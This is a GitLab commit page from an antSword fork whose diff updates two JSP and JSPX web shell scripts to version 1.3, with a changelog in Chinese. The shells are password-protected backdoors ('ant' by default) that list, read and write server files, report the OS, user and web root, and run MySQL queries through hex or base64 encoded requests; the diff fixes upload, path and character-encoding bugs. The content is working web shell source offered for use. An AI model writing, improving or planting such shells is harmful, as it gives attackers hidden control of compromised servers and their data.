Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
6ad3731f
Commit
6ad3731f
authored
Aug 09, 2018
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
update jsp jspx shell to v1.3
parent
85ac784a
Changes
2
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
185 additions
and
81 deletions
+185
-81
jsp_custom_script_for_mysql.jsp
shells/jsp_custom_script_for_mysql.jsp
+96
-42
jspx_custom_script_for_mysql.jspx
shells/jspx_custom_script_for_mysql.jspx
+89
-39
No files found.
shells/jsp_custom_script_for_mysql.jsp
View file @
6ad3731f
...
...
@@ -21,9 +21,13 @@
注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
ChangeLog:
v1.3
1. 修正上传文件超过1M时的bug
2. 修正weblogic war 包布署获取路径问题
3. 修正文件中文字符问题
Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1
...
...
@@ -34,28 +38,31 @@ ChangeLog:
2. mysql 数据库支持
3. 支持 base64 和 hex 编码
--%>
<%@page
import=
"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"
%>
<%@page
import=
"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"
contentType=
"text/html;charset=UTF-8"
%>
<%!
// ################################################
String
Pwd
=
"ant"
;
//连接密码
// 数据编码 3 选 1
String
encoder
=
""
;
// default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex
String
cs
=
"UTF-8"
;
// 脚本自身编码
// String encoder = "hex"; //hex(推荐)
String
cs
=
"UTF-8"
;
// 编码方式
// ################################################
String
EC
(
String
s
)
throws
Exception
{
if
(
encoder
.
equals
(
"hex"
)
||
encoder
==
"hex"
)
return
s
;
return
new
String
(
s
.
getBytes
(
"ISO-8859-1"
),
cs
);
return
new
String
(
s
.
getBytes
(),
cs
);
}
String
showDatabases
(
String
encode
,
String
conn
)
throws
Exception
{
String
sql
=
"show databases"
;
// mysql
String
sql
=
"show databases"
;
String
columnsep
=
"\t"
;
String
rowsep
=
""
;
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
false
);
}
String
showTables
(
String
encode
,
String
conn
,
String
dbname
)
throws
Exception
{
String
sql
=
"show tables from "
+
dbname
;
// mysql
String
sql
=
"show tables from "
+
dbname
;
String
columnsep
=
"\t"
;
String
rowsep
=
""
;
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
false
);
...
...
@@ -64,12 +71,12 @@ ChangeLog:
String
showColumns
(
String
encode
,
String
conn
,
String
dbname
,
String
table
)
throws
Exception
{
String
columnsep
=
"\t"
;
String
rowsep
=
""
;
String
sql
=
"select * from "
+
dbname
+
"."
+
table
+
" limit 0,0"
;
// mysql
String
sql
=
"select * from "
+
dbname
+
"."
+
table
+
" limit 0,0"
;
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
true
);
}
String
query
(
String
encode
,
String
conn
,
String
sql
)
throws
Exception
{
String
columnsep
=
"\t|\t"
;
// general
String
columnsep
=
"\t|\t"
;
String
rowsep
=
"\r\n"
;
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
true
);
}
...
...
@@ -105,7 +112,7 @@ ChangeLog:
}
String
WwwRootPathCode
(
HttpServletRequest
r
)
throws
Exception
{
String
d
=
r
.
getSession
().
getServletContext
().
getRealPath
(
"/"
);
String
d
=
this
.
getClass
().
getResource
(
"/"
).
getPath
(
);
String
s
=
""
;
if
(!
d
.
substring
(
0
,
1
).
equals
(
"/"
))
{
File
[]
roots
=
File
.
listRoots
();
...
...
@@ -122,24 +129,27 @@ ChangeLog:
File
oF
=
new
File
(
dirPath
),
l
[]
=
oF
.
listFiles
();
String
s
=
""
,
sT
,
sQ
,
sF
=
""
;
java
.
util
.
Date
dt
;
String
fileCode
=(
String
)
System
.
getProperties
().
get
(
"file.encoding"
);
SimpleDateFormat
fm
=
new
SimpleDateFormat
(
"yyyy-MM-dd HH:mm:ss"
);
for
(
int
i
=
0
;
i
<
l
.
length
;
i
++)
{
dt
=
new
java
.
util
.
Date
(
l
[
i
].
lastModified
());
sT
=
fm
.
format
(
dt
);
sQ
=
l
[
i
].
canRead
()
?
"R"
:
""
;
sQ
+=
l
[
i
].
canWrite
()
?
" W"
:
""
;
String
nm
=
new
String
(
l
[
i
].
getName
().
getBytes
(
fileCode
),
cs
);
if
(
l
[
i
].
isDirectory
())
{
s
+=
l
[
i
].
getName
()
+
"/\t"
+
sT
+
"\t"
+
l
[
i
].
length
()
+
"\t"
+
sQ
+
"\n"
;
s
+=
nm
+
"/\t"
+
sT
+
"\t"
+
l
[
i
].
length
()
+
"\t"
+
sQ
+
"\n"
;
}
else
{
sF
+=
l
[
i
].
getName
()
+
"\t"
+
sT
+
"\t"
+
l
[
i
].
length
()
+
"\t"
+
sQ
+
"\n"
;
sF
+=
nm
+
"\t"
+
sT
+
"\t"
+
l
[
i
].
length
()
+
"\t"
+
sQ
+
"\n"
;
}
}
return
s
+=
sF
;
s
+=
sF
;
return
new
String
(
s
.
getBytes
(
fileCode
),
cs
);
}
String
ReadFileCode
(
String
filePath
)
throws
Exception
{
String
l
=
""
,
s
=
""
;
BufferedReader
br
=
new
BufferedReader
(
new
InputStreamReader
(
new
FileInputStream
(
new
File
(
filePath
))));
BufferedReader
br
=
new
BufferedReader
(
new
InputStreamReader
(
new
FileInputStream
(
new
File
(
filePath
))
,
cs
));
while
((
l
=
br
.
readLine
())
!=
null
)
{
s
+=
l
+
"\r\n"
;
}
...
...
@@ -148,9 +158,14 @@ ChangeLog:
}
String
WriteFileCode
(
String
filePath
,
String
fileContext
)
throws
Exception
{
BufferedWriter
bw
=
new
BufferedWriter
(
new
OutputStreamWriter
(
new
FileOutputStream
(
new
File
(
filePath
))));
bw
.
write
(
fileContext
);
bw
.
close
();
String
h
=
"0123456789ABCDEF"
;
String
fileHexContext
=
strtohexstr
(
fileContext
);
File
f
=
new
File
(
filePath
);
FileOutputStream
os
=
new
FileOutputStream
(
f
);
for
(
int
i
=
0
;
i
<
fileHexContext
.
length
();
i
+=
2
)
{
os
.
write
((
h
.
indexOf
(
fileHexContext
.
charAt
(
i
))
<<
4
|
h
.
indexOf
(
fileHexContext
.
charAt
(
i
+
1
))));
}
os
.
close
();
return
"1"
;
}
...
...
@@ -256,16 +271,27 @@ ChangeLog:
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("
/
");
String serverInfo = System.getProperty("
os
.
name
");
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("
/
") != null){
d = r.getSession().getServletContext().getRealPath("
/
");
}else{
String cd = this.getClass().getResource("
/
").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("
/
").getPath();
d = new File(cd).getParent();
}
String serverInfo = (String)System.getProperty("
os
.
name
");
String separator = File.separator;
String user = System.getProperty("
user
.
name
");
String user =
(String)
System.getProperty("
user
.
name
");
String driverlist = WwwRootPathCode(r);
return d + "
\
t
" + driverlist + "
\
t
" + serverInfo + "
\
t
" + user;
}
boolean isWin() {
String osname = System.getProperty("
os
.
name
");
String osname =
(String)
System.getProperty("
os
.
name
");
osname = osname.toLowerCase();
if (osname.startsWith("
win
"))
return true;
...
...
@@ -281,6 +307,41 @@ ChangeLog:
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"
UTF
-
8
",
"
ISO
-
8859
-
1
",
"
GB2312
",
"
GBK
",
"
GB18030
",
"
Big5
",
"
Unicode
",
"
ASCII
"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "
01234567
89
ABCDEF
"
;
byte
[]
bytes
=
fileContext
.
getBytes
(
cs
);
StringBuilder
sb
=
new
StringBuilder
(
bytes
.
length
*
2
);
for
(
int
i
=
0
;
i
<
bytes
.
length
;
i
++)
{
sb
.
append
(
h
.
charAt
((
bytes
[
i
]
&
0xf0
)
>>
4
));
sb
.
append
(
h
.
charAt
((
bytes
[
i
]
&
0x0f
)
>>
0
));
}
String
fileHexContext
=
sb
.
toString
();
return
fileHexContext
;
}
String
decode
(
String
str
)
{
byte
[]
bt
=
null
;
try
{
...
...
@@ -291,40 +352,32 @@ ChangeLog:
}
return
new
String
(
bt
);
}
String decode(String str, String encode){
String
decode
(
String
str
,
String
encode
)
throws
Exception
{
if
(
encode
.
equals
(
"hex"
)
||
encode
==
"hex"
){
if
(
str
==
"null"
||
str
.
equals
(
"null"
)){
return
""
;
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try{
for(int i=0; i<str.length()-1; i+=2 ){
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char)decimal);
temp.append(decimal);
String
hexString
=
"0123456789ABCDEF"
;
str
=
str
.
toUpperCase
();
ByteArrayOutputStream
baos
=
new
ByteArrayOutputStream
(
str
.
length
()/
2
);
String
ss
=
""
;
for
(
int
i
=
0
;
i
<
str
.
length
();
i
+=
2
){
ss
=
ss
+
(
hexString
.
indexOf
(
str
.
charAt
(
i
))
<<
4
|
hexString
.
indexOf
(
str
.
charAt
(
i
+
1
)))
+
","
;
baos
.
write
((
hexString
.
indexOf
(
str
.
charAt
(
i
))
<<
4
|
hexString
.
indexOf
(
str
.
charAt
(
i
+
1
))));
}
}catch(Exception e){
e.printStackTrace();
}
return sb.toString();
return
baos
.
toString
(
cs
);
}
else
if
(
encode
.
equals
(
"base64"
)
||
encode
==
"base64"
){
byte
[]
bt
=
null
;
try {
sun
.
misc
.
BASE64Decoder
decoder
=
new
sun
.
misc
.
BASE64Decoder
();
bt
=
decoder
.
decodeBuffer
(
str
);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
return
new
String
(
bt
,
cs
);
}
return
str
;
}
void
CopyInputStream
(
InputStream
is
,
StringBuffer
sb
)
throws
Exception
{
String
l
;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
BufferedReader
br
=
new
BufferedReader
(
new
InputStreamReader
(
is
,
cs
));
while
((
l
=
br
.
readLine
())
!=
null
)
{
sb
.
append
(
l
+
"\r\n"
);
}
...
...
@@ -332,6 +385,7 @@ ChangeLog:
}
%>
<%
response
.
setContentType
(
"text/html"
);
request
.
setCharacterEncoding
(
cs
);
response
.
setCharacterEncoding
(
cs
);
StringBuffer
sb
=
new
StringBuffer
(
""
);
try
{
...
...
shells/jspx_custom_script_for_mysql.jspx
View file @
6ad3731f
...
...
@@ -21,6 +21,7 @@
注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
Ver:1.3
-->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
...
...
@@ -31,15 +32,18 @@
<jsp:directive.page import="java.text.*"/>
<jsp:declaration>
<![CDATA[
// ################################################
String Pwd = "ant"; //连接密码
// 数据编码 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex
String cs = "UTF-8"; // 脚本自身编码
// String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 编码方式
// ################################################
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(
"ISO-8859-1"
), cs);
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
...
...
@@ -100,7 +104,7 @@
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d =
r.getSession().getServletContext().getRealPath("/"
);
String d =
this.getClass().getResource("/").getPath(
);
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
...
...
@@ -117,24 +121,27 @@
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s +=
l[i].getName()
+ "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
s +=
nm
+ "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF +=
l[i].getName()
+ "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
sF +=
nm
+ "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))
, cs
));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
...
...
@@ -143,9 +150,14 @@
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
...
...
@@ -251,16 +263,27 @@
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/");
String serverInfo = System.getProperty("os.name");
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = System.getProperty("user.name");
String user =
(String)
System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = System.getProperty("os.name");
String osname =
(String)
System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
...
...
@@ -276,6 +299,41 @@
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String decode(String str) {
byte[] bt = null;
try {
...
...
@@ -286,40 +344,32 @@
}
return new String(bt);
}
String decode(String str, String encode){
String decode(String str, String encode)
throws Exception
{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try{
for(int i=0; i<str.length()-1; i+=2 ){
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char)decimal);
temp.append(decimal);
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
}catch(Exception e){
e.printStackTrace();
}
return sb.toString();
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
return new String(bt,cs);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
BufferedReader br = new BufferedReader(new InputStreamReader(is
, cs
));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment